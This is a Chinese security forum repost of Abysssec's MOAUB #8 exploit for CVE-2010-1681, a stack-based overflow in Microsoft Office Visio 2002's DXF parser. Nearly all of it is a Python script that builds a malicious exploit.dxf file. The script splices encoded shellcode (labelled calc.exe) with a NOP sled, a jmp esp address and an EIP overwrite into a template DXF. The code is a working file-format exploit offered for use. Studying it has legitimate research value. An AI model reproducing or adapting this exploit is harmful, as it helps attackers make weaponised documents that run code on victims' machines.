首页
社区
课程
招聘
[推荐][转帖]MOAUB #8 - Microsoft Office Visio DXF File Stack based Overflow
2010-9-9 10:40 3232

[推荐][转帖]MOAUB #8 - Microsoft Office Visio DXF File Stack based Overflow

2010-9-9 10:40
3232
'''  

  __  __  ____         _    _ ____   

|  \/  |/ __ \   /\  | |  | |  _ \   

| \  / | |  | | /  \ | |  | | |_) |  

| |\/| | |  | |/ /\ \| |  | |  _ <  Day 8 (Binary Analysis)  

| |  | | |__| / ____ \ |__| | |_) |  

|_|  |_|\____/_/    \_\____/|____/   

   

http://www.exploit-db.com/moaub-8-microsoft-office-visio-dxf-file-stack-overflow/  

http://www.exploit-db.com/sploits/moaub-8-exploit.zip  

'''

   

'''  

  Title             : Microsoft Office Visio DXF File Stack based Overflow  

  Version           : Microsoft Office Visio 2002(xp)  

  Analysis          : http://www.abysssec.com  

  Vendor            : http://www.microsoft.com  

  Impact            : Ciritial  

  Contact           : shahin [at] abysssec.com , info  [at] abysssec.com  

  Twitter           : @abysssec  

  CVE               : CVE-2010-1681  

'''

   

# Tested on Microsoft Office Visio 2002 (xp) in Windows XP SP3  

   

import sys  

   

def main():  

      

    try:  

        fdR = open('src.dxf', 'rb+')  

        strTotal = fdR.read()  

        str1 = strTotal[:100]  

        str2 = strTotal[1020:1124]  

        str3 = strTotal[1128:1169]  

        str4 = strTotal[1173:]  

           

        eip = "\x66\x28\xC9\x61"    # leave popad ret  

        jmp = "\x64\x64\xdb\x30"    # jmp esp  

           

           

        # Modified Alphanumbric calc.exe shellcode   

        shellcode = '\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xeb\x00\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49\x49\x49\x49\x49\x49\x48\x49\x49\x49\x49\x49\x49\x49\x49\x49\x51\x5a\x6a\x44\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x54\x42\x32\x41\x42\x32\x42\x41\x30\x42\x41\x58\x41\x50\x38\x41\x42\x75\x4a\x49\x69\x6c\x4b\x58\x51\x54\x65\x50\x57\x70\x45\x50\x4e\x6b\x67\x35\x35\x6c\x4e\x6b\x73\x4c\x55\x55\x71\x68\x67\x71\x68\x6f\x6c\x4b\x52\x6f\x46\x78\x4e\x6b\x51\x4f\x71\x30\x74\x41\x7a\x4b\x30\x49\x6c\x4b\x54\x74\x6e\x6b\x76\x61\x4a\x4e\x35\x61\x4b\x70\x6a\x39\x4c\x6c\x4d\x54\x6b\x70\x30\x74\x54\x47\x6a\x61\x6a\x6a\x64\x4d\x63\x31\x79\x52\x4a\x4b\x69\x64\x67\x4b\x32\x74\x65\x74\x66\x64\x31\x65\x4a\x45\x6c\x4b\x71\x4f\x31\x34\x57\x71\x48\x6b\x52\x46\x6e\x6b\x64\x4c\x52\x6b\x4e\x6b\x31\x4f\x77\x6c\x54\x41\x68\x6b\x4c\x4b\x57\x6c\x6c\x4b\x57\x71\x4a\x4b\x4e\x69\x41\x4c\x65\x74\x67\x74\x4a\x63\x75\x61\x4f\x30\x51\x74\x6c\x4b\x61\x50\x50\x30\x4f\x75\x4f\x30\x32\x58\x64\x4c\x4c\x4b\x71\x50\x54\x4c\x4c\x4b\x70\x70\x57\x6c\x4e\x4d\x6e\x6b\x73\x58\x35\x58\x4a\x4b\x36\x69\x6c\x4b\x4d\x50\x4c\x70\x67\x70\x75\x50\x37\x70\x4c\x4b\x45\x38\x35\x6c\x41\x4f\x57\x41\x68\x76\x53\x50\x30\x56\x6e\x69\x6b\x48\x6f\x73\x6f\x30\x63\x4b\x62\x70\x30\x68\x58\x70\x6f\x7a\x57\x74\x51\x4f\x45\x38\x6f\x68\x59\x6e\x4f\x7a\x66\x6e\x62\x77\x69\x6f\x38\x67\x73\x53\x52\x41\x30\x6c\x71\x73\x64\x6e\x35\x35\x30\x78\x70\x65\x45\x50\x44'

           

                       

        if len(shellcode) > 920:  

            print "
  • Error : Shellcode is too long !"

  •             return

            if len(shellcode) <= 920:  

                dif = 920 - len(shellcode)  

                while dif > 0 :  

                    shellcode += '\x90'

                    dif = dif - 1

                      

            fdW= open('exploit.dxf', 'wb+')  

            fdW.write(str1)  

            fdW.write(shellcode)  

            fdW.write(str2)  

            fdW.write(jmp)  

            fdW.write(str3)  

            fdW.write(eip)  

            fdW.write(str4)   

               

               

            fdW.close()  

            fdR.close()  

            print '[-] DXF file generated'

        except IOError:  

            print '
  • Error : An IO error has occurred'

  •         print '[-] Exiting ...'

            sys.exit(-1)  

                      

    if __name__ == '__main__':  

        main()

    [CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界

    收藏
    点赞0
    打赏
    分享
    最新回复 (0)
    游客
    登录 | 注册 方可回帖
    返回